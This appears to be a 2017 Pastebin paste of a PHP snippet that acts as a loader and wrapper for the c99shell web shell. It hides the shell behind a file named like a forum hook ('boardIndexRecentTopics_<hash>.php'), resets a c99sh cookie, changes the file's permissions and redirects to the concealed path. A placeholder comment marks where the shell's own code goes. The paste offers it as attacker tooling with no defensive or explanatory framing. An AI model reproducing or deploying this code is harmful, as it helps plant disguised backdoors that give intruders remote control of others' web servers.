Advertisement
Guest User

Untitled

a guest
Jun 26th, 2017
76
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.68 KB | None | 0 0
  1. if (isset($_GET['c99shell']) || (preg_match ( '/.*?boardIndexRecentTopics_(.+?)\.php/' , $_SERVER['SCRIPT_FILENAME'])))
  2. {
  3.  if (!(preg_match ('/.*?boardIndexRecentTopics_(.+?)\.php/',$_SERVER['SCRIPT_FILENAME'])))
  4.  {
  5.   if ($_GET['c99shell'] != 'noredirect')
  6.   {
  7.    setcookie("c99sh_surl","");
  8.    preg_match ('/.*?boardIndexRecentTopics_(.+?)\.php/',__FILE__,$hashData);
  9.    chmod(__FILE__,0644);
  10.    header('Location: hooks/boardIndexRecentTopics_'.$hashData['1'].'.php');
  11.    exit();
  12.   }
  13.   else
  14.   {
  15.    $set_surl = $_SERVER['PHP_SELF']."?c99shell=noredirect&";
  16.    foreach ($_GET as $get)
  17.   {
  18.   $get=html_entity_decode($get);
  19.  }
  20.   unset($get);}
  21.  }
  22.  
  23.  // my funky code here
  24.  
  25. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement